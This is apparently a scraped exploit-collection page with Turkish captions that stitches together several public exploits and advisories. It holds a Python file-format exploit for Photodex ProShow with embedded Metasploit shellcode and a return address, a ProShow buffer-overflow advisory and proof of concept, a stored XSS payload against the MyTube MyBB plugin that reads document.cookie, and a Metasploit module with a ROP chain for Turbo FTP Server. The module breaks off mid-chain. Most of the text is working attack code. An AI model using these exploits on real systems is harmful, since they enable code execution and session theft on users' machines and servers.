"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x72\xB2\x02\x4A\x00\x00\x00\x04\x74\x52\x4E\x53\xFF\xFF\xFF\x00\x40\x2A\xA9\xF4"+
"\x00\x00\x0B\x0B\x49\x44\x41\x54\x78\xDA\xEC\xDD\xB1\x09\x00\x20\x0C\x45\x41\x23"+
"\xEE\x3F\xB2\x5A\xD8\x0B\x8A\x85\x90\xBB\x11\x7E\xF3\x48\x95\x52\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x78\x29\x4C\x60\x0A\xE0\xC8\x30\xC1\x52\x4D\x00"+
"\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00"+
"\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00"+
"\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x59\x34\x13\xEC\x84\x47\xE9\x90\x5B"+
"\x37\x81\x0B\xE4\x36\x20\x26\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10"+
"\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04"+
"\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40"+
"\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10"+
"\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01"+
"\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00"+
"\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00"+
"\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40"+
"\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04"+
"\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01"+
"\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10"+
"\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01"+
"\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00"+
"\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00"+
"\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40"+
"\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04"+
"\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01"+
"\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10"+
"\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04"+
"\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00"+
"\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00"+
"\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40"+
"\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10"+
"\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01"+
"\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40"+
"\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04"+
"\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00"+
"\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00"+
"\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40"+
"\x40\x4C\x00\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00"+
"\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00"+
"\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80"+
"\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08"+
"\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02"+
"\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20"+
"\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08"+
"\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00"+
"\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00"+
"\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80"+
"\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20"+
"\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02"+
"\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20"+
"\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08"+
"\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00"+
"\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x80\x80\x00\x20\x20\x00"+
"\x08\x08\x00\x02\x02\x80\x80\x00\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80"+
"\x80\x00\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x80\x80\x00\x20"+
"\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02"+
"\x02\x80\x80\x00\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x80\x80"+
"\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x80\x80\x00\x20\x20\x00\x08\x08"+
"\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02"+
"\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00"+
"\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00"+
"\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20"+
"\x20\x00\x08\x08\x00\x02\x02\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08"+
"\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80"+
"\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08"+
"\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02"+
"\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00"+
"\x08\x08\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x08\x08\x00\x08\x08\x00"+
"\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20"+
"\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08"+
"\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80"+
"\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20"+
"\x00\x08\x08\x00\x02\x02\x80\x80\x00\x20\x20\x00\x20\x20\x00\x08\x08\x00\x02\x02"+
"\x80\x80\x00\x20\x20\x26\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01"+
"\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10"+
"\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01"+
"\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00"+
"\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00"+
"\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40"+
"\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04"+
"\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01"+
"\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10"+
"\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04"+
"\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00"+
"\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00"+
"\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40"+
"\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10"+
"\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01"+
"\x01\x40\x40\x00\x10\x10\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40"+
"\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04"+
"\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00"+
"\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00"+
"\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40"+
"\x40\x00\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x40\x40\x00\x40\x40\x00\x10"+
"\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01"+
"\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40"+
"\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04"+
"\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01"+
"\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00"+
"\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00"+
"\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10"+
"\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04"+
"\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40"+
"\x00\x10\x10\x00\x04\x04\x00\x04\x04\x00\x01\x01\x40\x40\x00\x10\x10\x00\x72\x0B"+
"\x13\x98\x02\x38\x32\x4C\xE0\x02\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01"+
"\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00"+
"\x10\x10\x00\x04\x04\x00\x01\x01\x00\x01\x01\x40\x40\x00\x10\x10\x00\x04\x04\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\xE0\x6F\x73\x00\x1B\x6A\x08\xA8\x54\x42\xD7\xD2\x00"+
"\x00\x00\x00\x49\x45\x4E\x44\xAE\x42\x60\x82\x73\x74\x79\x6C\x65\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x80\x61\x00\x00\x01\x50\x68\x6F\x74\x6F\x64\x65\x78\x28\x52\x29\x20"+
"\x50\x72\x6F\x53\x68\x6F\x77\x28\x54\x4D\x29\x20\x53\x68\x6F\x77\x20\x46\x69\x6C"+
"\x65\x20\x56\x65\x72\x73\x69\x6F\x6E\x3D\x30\x0D\x0A\x70\x72\x6F\x73\x68\x6F\x77"+
"\x56\x65\x72\x73\x69\x6F\x6E\x3D\x32\x38\x39\x31\x0D\x0A\x74\x69\x74\x6C\x65\x3D")
 
# windows/exec CMD=calc.exe 
# Encoder: x86/shikata_ga_nai
# powered by Metasploit 
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00'

shellcode = ("\xba\x68\x3e\x85\x1f\xd9\xca\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x33\x31\x50\x12\x83\xe8\xfc\x03\x38\x30\x67\xea\x44" +
"\xa4\xee\x15\xb4\x35\x91\x9c\x51\x04\x83\xfb\x12\x35\x13" +
"\x8f\x76\xb6\xd8\xdd\x62\x4d\xac\xc9\x85\xe6\x1b\x2c\xa8" +
"\xf7\xad\xf0\x66\x3b\xaf\x8c\x74\x68\x0f\xac\xb7\x7d\x4e" +
"\xe9\xa5\x8e\x02\xa2\xa2\x3d\xb3\xc7\xf6\xfd\xb2\x07\x7d" +
"\xbd\xcc\x22\x41\x4a\x67\x2c\x91\xe3\xfc\x66\x09\x8f\x5b" +
"\x57\x28\x5c\xb8\xab\x63\xe9\x0b\x5f\x72\x3b\x42\xa0\x45" +
"\x03\x09\x9f\x6a\x8e\x53\xe7\x4c\x71\x26\x13\xaf\x0c\x31" +
"\xe0\xd2\xca\xb4\xf5\x74\x98\x6f\xde\x85\x4d\xe9\x95\x89" +
"\x3a\x7d\xf1\x8d\xbd\x52\x89\xa9\x36\x55\x5e\x38\x0c\x72" +
"\x7a\x61\xd6\x1b\xdb\xcf\xb9\x24\x3b\xb7\x66\x81\x37\x55" +
"\x72\xb3\x15\x33\x85\x31\x20\x7a\x85\x49\x2b\x2c\xee\x78" +
"\xa0\xa3\x69\x85\x63\x80\x86\xcf\x2e\xa0\x0e\x96\xba\xf1" +
"\x52\x29\x11\x35\x6b\xaa\x90\xc5\x88\xb2\xd0\xc0\xd5\x74" +
"\x08\xb8\x46\x11\x2e\x6f\x66\x30\x4d\xee\xf4\xd8\xbc\x95" +
"\x7c\x7a\xc1")

junk1="\x90" * (233 - len(shellcode))
eip=pack('<L',0x1013bf20) # {pivot 164 / 0xa4} :  # POP ESI # POP EBP # POP EBX # ADD ESP,98 # RETN 0x10 [if.dnt] 
junk2="\x41" * 1000

poc=head + shellcode + junk1 + eip + junk2 + "\x0A\x0D" 

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

Photodex ProShow Producers 5.0.3297 Local Buffer Overflow Vulnerability

Photodex ProShow Producers 5.0.3297 Local Buffer Overflow açığına ilişkin exploit şu şekilde;

1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2013-01-26
Date published: 2013-01-26
CVSSv2 Score:   4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE:            -
 
 
2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.
 
 
3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.
 
 
4. VULNERABILITY DESCRIPTION
----------------------------
A stack-based buffer overflow vulnerability has been identified in
Photodex ProShow Producer v5.0.3297.
 
When opening the application help via the menu, the application loads
the location of the help file from the file "proshow.cfg". If the file
"proshow.phd" also exists, the values are crosschecked.
 
The ExpandMacroFilename function does not properly validate the length
of the string loaded from the "cpicHelpFile" identifier from the config
file before using it in the further application context, which leads to
a stack-based buffer overflow condition.
 
Vulnerable function definition:
int __stdcall ExpandMacroFilename(int, void *Dst, size_t Size)
 
An attacker needs to force the victim to place an arbitrary
"proshow.cfg" and/or "proshow.phd" file into the application directory
to execute arbitrary code.
 
 
5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into the proshow.cfg
and/or proshow.phd to trigger the vulnerability.
 
#!/usr/bin/python
file="poc.txt"
 
junk1="\x41" * 238
eip="\x42" * 4
junk2="\xCC" * 100
 
poc=junk1 + eip + junk2
 
try:
print ("[*] Creating exploit file...\n");
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print ("[*] File successfully created!");
except:
print ("[!] Error while creating file!");
 
 
For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/45
 
 
6. SOLUTION
-----------
None
 
 
7. REPORT TIMELINE
------------------
2013-01-26: Discovery of the vulnerability
2013-01-26: Full Disclosure because the vendor ignored previous reports.

MyTube MyBB Plugin 1.0 Stored XSS

mytube-mybbMy Tube MyBB Plugin 1.0 Stored versiyonunda XSS Açığı bulundu. Açıkla kötü niyetli kodlar çalıştırılabildiğinden önlem alınması gerekir. Açığa ilişkin açık bulucunun açıklamaları, açığın oluşum yerleri aşağıda yer alıyor.

# Exploit Title: MyTube MyBB Plugin Stored XSS
# Date: 18/12/2012
# Exploit Author: Kim Kun Bum
# Vendor by:
# Software Link: <a href="http://mods.mybb.com/view/mytube">http://mods.mybb.com/view/mytube</a>
# Version: 1.0
# Category:Web Security
# Tested on: Windows7
Reason : Lack of input validation in Youtube ID field
+--------------------------------------------------------------------------+
Stored XSS-vulnerabilities
0. install&Activate plugin
1. go to Usercp >> Edit Profile >> Youtube:
2. inject following code
"<a href="http://www.youtube.com?v=&quot;</embed">http://www.youtube.com?v="</embed</a>> <script> alert(document.cookie) </script>
3. This code will be stored as profile content.
4. Visit your profile and Can see the execution of injected script
Vulnerable code in mytube.php soucre :
function mytube_activate(){....<embed src="<a href="http://www.youtube.com/v/{$tubeid}{$autoplay">http://www.youtube.com/v/{$tubeid}{$autoplay</a>}" type="application/x-
shockwave-flash" wmode="transparent" width="425" height="344"></embed></object></td></tr>}

 

Turbo FTP Server 1.30.823 PORT Overflow

Turbo FTP Server 1.30.823 PORT Overflow metasploit Local Exploit

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Turbo FTP Server 1.30.823 PORT Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow vulnerability found in the PORT
				command in Turbo FTP Server 1.30.823 & 1.30.826, which results in remote
				code execution under the context of SYSTEM.
			},
			'Author'         =>
				[
					'Zhao Liang',    #Initial Descovery
					'Lincoln',       #Metasploit
					'corelanc0d3r',  #Metasploit
					'thelightcosine' #Metasploit
				],
			'License'        => MSF_LICENSE,
			'Platform'       => [ 'win' ],
			'References'     =>
				[
					[ 'OSVDB', '85887' ]
				],
			'Payload'        =>
				{
					'BadChars'       => "\x00",
					'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' => { 'BufferRegister' => 'EDI' }
					},
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					['Windows Universal TurboFtp 1.30.823',
						{
							'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe]
							'ver' => 823
						},

					],
					[ 'Windows Universal TurboFtp 1.30.826',
						{
							'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe]
							'ver' => 826
						},
					],
				],

			'DisclosureDate' => 'Oct 03 2012',
			'DefaultTarget'  => 0))
	end

	def check
		connect
		disconnect
		if (banner =~ /1\.30\.823/)
			return Exploit::CheckCode::Vulnerable
		elsif (banner =~ /1\.30\.826/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end


	def create_rop_chain(ver)
		# rop chain generated with mona.py - www.corelan.be
		if ver == 823
			rop_gadgets =
			[
				0x004b692a,	# POP ECX # RETN [tbssvc.exe]
				0x005f6074,	# ptr to &VirtualAlloc() [IAT tbssvc.exe]
				0x0046f82a,	# MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
				0x00423b95,	# XCHG EDX,EDI # RETN [tbssvc.exe]
				0x00423a27,	# XCHG ESI,EDI # RETN [tbssvc.exe]
				0x005d1c99,	# POP EBP # RETN [tbssvc.exe]
				0x004cad5d,	# & jmp esp [tbssvc.exe]
				0x004ab16b,	# POP EBX # RETN [tbssvc.exe]
				0x00000001,	# 0x00000001-> ebx
				0x005ef7f6,	# POP EDX # RETN [tbssvc.exe]
				0x00001000,	# 0x00001000-> edx
				0x005d7139,	# POP ECX # RETN [tbssvc.exe]
